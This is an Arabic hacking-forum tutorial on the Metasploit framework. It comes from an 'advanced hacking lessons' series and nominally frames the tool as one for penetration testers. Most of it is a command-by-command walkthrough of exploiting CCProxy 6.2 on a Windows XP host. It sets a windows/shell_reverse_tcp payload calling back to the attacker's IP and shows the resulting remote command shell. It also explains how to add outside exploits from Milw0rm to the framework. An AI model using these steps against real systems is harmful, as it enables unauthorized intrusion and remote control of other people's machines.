تحية ياأعضاء منتديات جيوش الهكر ، يطيب لي ويسعدني بالأصالة عن نفسي وبالإنابة عن الأخ الحبيب ASDELY أن نطرح مجموعة من دروس الإختراق المتقدم ، وستكون الدروس منوعة من حيث الشرح حيث سيكون البعض منها بالصور والبعض مقاطع فيديو ، وإنشاء الله راح الكل يستفيد منها ، خاصة وأنها ستكون دروس حصرية ....، وسيتم البدء بطرح نبذة عن مشروع الميتا سبلويت ...
نبذة عن مشروع الميتاسبلويت
فكرة تصميم مشروع الميتا كانت لإستخدامة في اكتشاف ثغرات سرفرات الشركات الكبرى ....، وبدأ مشروع ثغرات ****sploit في عام 2003 تقريبا و منذ ذلك الوقت حتى يومنا هذا شهد المشروع تطوّرات عديدة و ملحوظة خصوصا بعد اطلاق الاصدار 3.0 في بداية سنة 2008, يحتوي مشروع ****sploit على عدد كبير من ثغرات الأنظمة و البرامج الجاهزة للاستغلال بالاضافة للعديد من الأدوات التي تساعدنا على اكتشاف ثغرات Buffer overflow و فحص الأنظمة و الشبكات أضف الى ذلك احتوائه على قاعدة بيانات Shellcode و Opcode تساعد مكتشفي الثغرات على برمجة و كتابة استغلالاتهم بكل سهولة. و في كل اصدار جديد يضاف الى المشروع ثغرات و أدوات جديدة تجعل من ميتاسبلويت واحدا من أقوى و أسهل مشاريع الثغرات الموجودة في وقتنا هذا…
لكل شيء محاسن و مساوء قوة مشروع ميتاسبلويت و سهولة استخدامه جعلت الكثيرين من الأطفال الذين يظنون أنفسهم Hackers يستخدمه لاختراق أجهزة الآخرين و التحكم بها بتنفيذ بضعة أوامر دون أي معرفة أو فهم بالثغرة, سببها, برمجتها أو حتى كيفية استغلالها و بصراحة ترددت كثيرا عند كتابة هذا الموضوع لأن الاختراق باستخدام مشروع ميتاسبلويت سهل جدا و احترافي لدرجة أننا قد نتمكن من اختراق جميع الأجهزة الموجودة معنا على الشبكة بسهولة و بتطبيق عدة أوامر فقط ، المشرع باختصار شديد عباره عن مجموعه من ثغرات الريموت المجمعه مع بعضها ،لاهداف معنيه ساتحدث عنها لاحقا مضاف لتلك الثغرات مجموعه من الاداوات الرائعة مثل Auxiliary واداة db_autopwn واداة صناعه الشل كود ،
الهدف الاساسي لمشروع الميتا سبلويت
تستخدم الميتا في عملية pen tester والهدف منه ليس الاختراق فهي أداة يستخدمها مجموعه من الهكر الحققيين حاصلون علي دوره الهكر الاخلاقيه وعدده دورات اخري وضيفاتهم فحص الشبكات للشركات الكبري لاكتشاف الثغرات في سرفراتهم ومعالجت الخطاء فيها ، ويستخدمها هؤلاء الأشخاص عن طريق أداة db_autopwn التي تقوم بعمل سكان سريع علي السرفرات لتحدد بمنتهي الدقه ما الثغرات التي تعمل والفعاله حتي يقوم بمعالجتها ، في راي الشخصي الميتا سبوليت مجموعه من الثغرات الريموت القويه المعد ه للاستغلال بكل احترافيه بشكل مباشر
طبعاً لن نشرح هنا طريقة تنصيب البرنامج لأنها يفترض أن تكون من البديهيات لدى الجميع ، الأن وبعد تنصيب البرنامج أو المشروع على نظام لينكس ، علماً بأنه من الممكن تطبيق بعض ما سيذكر في الشرح هنا على نظام ويندوز لكني لا أنصح بذلك
نبدأ بفتح سطر الأوامر و من ثم الذهاب للمجلد الموجود به مشروع ****sploit في توزيعة BackTrack 3 سيكون المشروع في المسار التالي:
كود:
/pentest/exploits/framework3/
بعد ذلك نقوم بتشغيل سطر أوامر مشروع ****sploit بتنفيذ الأمر:
كود:
./msfconsole
أول ما يبدأ سطر أوامر ****sploit يعطينا معلومات عن حالة المشروع مثل الاصدار, عدد الثغرات الموجودة, عدد الأدوات و الـ Payloads و غيرها من الأمور الأخرى مايهمنها حاليا الثغرات فقط و هذا ما سأشرحه هنا. لنتمكن من استغلال ثغرة ****sploit هنالك بضعة خطوات يجب القيام بها, تختلف هذه الخطوات و الخيارات من ثغرة لأخرى الا أنها متشابهة بشكل عام. أول شيء علينا تحديد الثغرة التي نريد استغلالها بعد ذلك نحدد الخيارات الخاصة بها مثل الاصدار المصاب, نظام التشغيل, الاستغلال… ثم ننفذ الثغرة و نستخدمها حسب الاستغلال المحدد في الخيارات, يوجد الكثير من الأوامر التي يمكننا استخدامها في مشروع ميتاسبلويت لمعرفتها نقوم بتنفيذ الأمر التالي:
كود:
msf > help
ما يهمنا حاليا في استغلال الثغرات هي الأوامر المظللة في الصورة
كود:
msf > show exploits
msf > info exploit
msf > use exploit
نستخدم الأمر الأول لاظهار الثغرات الموجودة في المشروع أما الثاني لاظهار معلومات مفصلة عن الثغرة و مصادر خارجية عنها و الثالث لاستخدام الثغرة و تحديد خياراتها, أول شيء ننفذ الأمر الأول لاستعراض الثغرات الموجودة في المشروع
كود:
msf > show exploits
كما هو واضح تم اظهار عدد كبير من الثغرات و بجانب كل ثغرة معلومات بسيطة عن البرنامج/النظام و الاصدار المصاب و لاظهار معلومات مفصلة عن احدى الثغرات يكفي تنفيذ الأمر info , مثال على ذلك:
كود:
msf > info windows/proxy/ccproxy_telnet_ping
بعد تنفيذ الأمر السابق سيتم اظهار كافة المعلومات المتوفرة عن الثغرة الموجودة في برنامج CCProxy الاصدار 6.2 كما هو واضح في الصورة التالية:
قبل البدء باستخدام الثغرة نلاحظ الخيارات المتوفرة لها و كما قلت سابقا تختلف الخيارات من ثغرة لأخرى لكن في هذه الثغرة يوجد لدينا خيارين أساسيين الأول هو IP السيرفر الذي يستعمل برنامج CCProxy أما الثاني فهو المنفذ الذي يستخدمه البرنامج, أيضا لا ننسى تحديد النظام فهذا شيء مهم في ثغرات ****sploit خصوصا أنظمة Windows و اصداراتها و علينا معرفة أن استغلال هذه النوعية من الثغرات دقيق جدا و صعوبة استغلالها تكمن في دقتها فأي خيار خاطئ نحدده لن يمكننا من استغلال الثغرة بشكل صحيح, الأن ننفذ الأمر use لنستخدم الثغرة
كود:
msf > use windows/proxy/ccproxy_telnet_ping
و نستخدم الأمر show لاظهار خيارات الثغرة المتوفرة
كود:
msf exploit(ccproxy_telnet_ping) > show options
نحدد الخيارات التي تناسبنا باستخدام الأمر set كما هو واضح من الصورة التالية:
أول شيء أظهرنا خيارات الثغرة باستخدام الأمر السابق ثم حددنا الخيار RHOST وهو IP الجهاز المستهدف و ذلك باستخدام الأمر:
كود:
msf exploit(ccproxy_telnet_ping) > set RHOST 192.168.0.53
بالنسبة لي كان 192.168.0.53 و أبقيت الخيار RPORT نفسه 23 و هو المنفذ الذي يستخدمه برنامج CCProxy بشكل افتراضي و طبعا يمكن تغييره بحسب المنفذ المستخدم مثلا 34 باستخدام الأمر:
كود:
msf exploit(ccproxy_telnet_ping) > set RPORT 34
بعد ذلك نقوم باظهار الأنظمة المتاحة باستخدام الأمر:
كود:
msf exploit(ccproxy_telnet_ping) > show targets
نحدد الخيار 4 و هو نظام Windows XP SP2 – English بتنفيذ:
كود:
msf exploit(ccproxy_telnet_ping) > set TARGET 4
أما الآن نظهر الاستغلالات المتاحة لهذه الثغرة باستخدام الأمر:
كود:
msf exploit(ccproxy_telnet_ping) > show payloads
بالنسبة لي سأحدد الاستغلال windows/shell_reverse_tcp و يستخدم هذا الاستغلال لانشاء اتصال عكسي مع الجهاز الذي تم تنفيذ الثغرة عليه و نتحكم بالاتصالات من داخل مشروع ميتاسبلويت
كود:
msf exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell_reverse_tcp
مع العلم من امكانية تحديد أي استغلال آخر نريد مثل تنفيذ أمر محدد على النظام, فتح منفذ و الاتصال به عن طريق أداة الـ Netcat, تحميل ملف و تشغيله أو حتى اضافة مستخدم جديد للنظام بصلاحيات Administrator, الأن ننفذ الأمر:
كود:
msf exploit(ccproxy_telnet_ping) > show options
من جديد لمراجعة الخيارات المخصصة للثغرة أو لتعديل أي خيار مثل ما هو واضح بالصورة التالية:
يمكننا الأن تحديد خيارات الاستغلال مثل LHOST وهو IP جهازنا و LPORT هو المنفذ الذي سيتم الاتصال العكسي عن طريقه بتنفيذ الأمر:
كود:
msf exploit(ccproxy_telnet_ping) > set LHOST 192.168.0.41
بالنسبة لي سأترك المنفذ 4444 نفسه دون تغيير, الأن لم يبقى علينا الا تطبيق الأمر
كود:
msf exploit(ccproxy_telnet_ping) > exploit
لتنفيذ الثغرة و اذا كانت جميع الخيارات صحيحة سيتم تنفيذ الاستغلال و لنتمكن من مشاهدة الاتصالات العكسية الموجودة ننفذ الأمر:
كود:
msf > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.0.41:23443 -> 192.168.0.53:1032
و من ثم ننفذ الأمر التالي للاتصال باحدى الاتصالات المتاحة و في هذه الحالة هو رقم 1
كود:
msf > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
مع العلم من امكانية تنفيذ أكثر من استغلال على أكثر من جهاز و الحصول على اتصالات أخرى.. أو القيام بهذه العملية بشكل أوتوماتيكي باستخدام احدى أدوات ميتاسبلويت الخطيرة و هي db_autopwn التي سأترك شرحها لموضوع آخر و طبعا يوجد الكثير من الاستغلالت الأخرى أترك تجربتها لكم.
كل ما ذكر سابقا مجرد مثال بسيط عن احدى ثغرات الميتاسبلويت لكن المشروع أقوى من ذلك بكثير و يوجد له استخدمات و ثغرات أخرى قوية قد أشرحها قريبا ان شاء الله, كل ماعليك الأن هو التجربة و اعادة المحاولة و لا تتوقع أن تتمكن من استغلال الثغرة من أول مرة أو ثاني مرة و لا حتى بعد 10 مرات كل مرة تجرب بها ثغرة ستكشف شيء جديد و خطأ قمت به و تذكر أن الدقة أهم شيء في استغلال ثغرات مشروع الميتاسبلويت فتحديد البرنامج و الاصدار المصاب أصعب من استغلال الثغرة المكتوبة له. من الجميل أيضا في مشروع ميتاسبلويت هو وجود واجهات رسومية جميلة لتسهيل التعامل مع المشروع و مخصصة للأشخاص الذين لايحبون استخدام سطر الأوامر
الواجهة الرسومية العادية GUI لتشغيلها ننفذ الأمر التالي داخل مجلد مشروع ****sploit
كود:
./msfgui
الواجهة التي تعمل من المتصفح لتشغيلها ننفذ الأمر التالي داخل مجلد المشروع
كود:
./msfweb
بعد ذلك نفتح المتصفح على الرابط
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]ماذا بعد؟ لنفرض الآن أننا نريد استغلال ثغرة غير موجودة في مشروع الميتاسبلويت أحضرناها من موقع Milw0rm مثلا كيف سنضيفها؟ بصراحة وجدت الكثيرين لا يعرفون الطريقة رغم بساطتها و طبعا الشرح للينوكس و نصيحة للجميع ابتعدوا عن ويندوز في هذه الأمور, كما نعرف في الاصدار 2 السابق من مشروع ****sploit كان المشروع و ثغراته تبرمج بلغة Perl و تأتي بالامتداد pm أما في الاصدار 3 تم اعادة برمجة المشروع من جديد بلغة Ruby و تأتي الثغرة بالامتداد rb لذلك أول شيء علينا معرفة نوعية الثغرة هل هي للاصدار 3.0 أم لاصدارات سابقة 2.0 ؟ أتوقع أن الاختلاف بين الكود البرمجي بين اللغتين واضح جدا (مثال عن ثغرة للاصدار 2 – مثال عن ثغرة للاصدار 3 ) طبعا الشرح هنا موجه للاصدار 3.0 فهذا مانتكلم عنه في هذا الموضوع, اذا اطلعنا على كود الثغرة و ركزنا على السطر التالي:
كود:
class Exploits::Windows:: Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote
سنعرف أن الثغرة لنظام Windows مصنفة في Driver اسمها Intel_Centrino_2200BG_driver_probe الأن كل ماعلينا هو التوجه للمجلد الموجود في المسار التالي:
كود:
/home/USER/.msf3/
طبعا مع استبدال USER باسم المستخدم عندك في نظام لينوكس و اذا لم يكن المجلد موجود يمكننا انشاؤه ببساطة! أما اذا كنت تعمل بالمستخدم root كما في توزيعة BackTrack سيكون مسار المجلد:
كود:
/root/.msf3
بعد الدخول للمجلد ننشئ مجلد جديد باسم modules بداخله مجلد آخر باسم exploits ليصبح المسار النهائي بهذا الشكل:
كود:
/home/USER/.msf3/modules/exploits
الأن ننشئ بداخل مجلد exploits مجلد باسم windows بداخله مجلد driver بعد ذلك ندخل للمجلد driver و ننشئ ملف الثغرة باسم Intel_Centrino_2200BG_driver_probe متبوعا بالامتداد .rb و بداخله كود الثغرة كامل ليصبح مسار الثغرة النهائي:
كود:
/home/USER/.msf3/modules/exploits/windows/driver/Intel_Centrino_2200BG_driver_probe.rb
جميل جدا الأن كل ماعلينا هو تشغيل سطر أوامر مشروع ****sploit من جديد و ملاحظة عدد الثغرات قبل و بعد تطبيق ما سبق و سنلاحظ وجود الثغرة ضمن قائمة الثغرات الموجودة في المشروع!
أما اذا أردنا تحديث المشروع بشكل كامل و اضافة ثغرات و أدوات جديدة.. يكفي الدخول لمجلد المشروع و من ثم تطبيق الأمر التالي:
كود:
svn update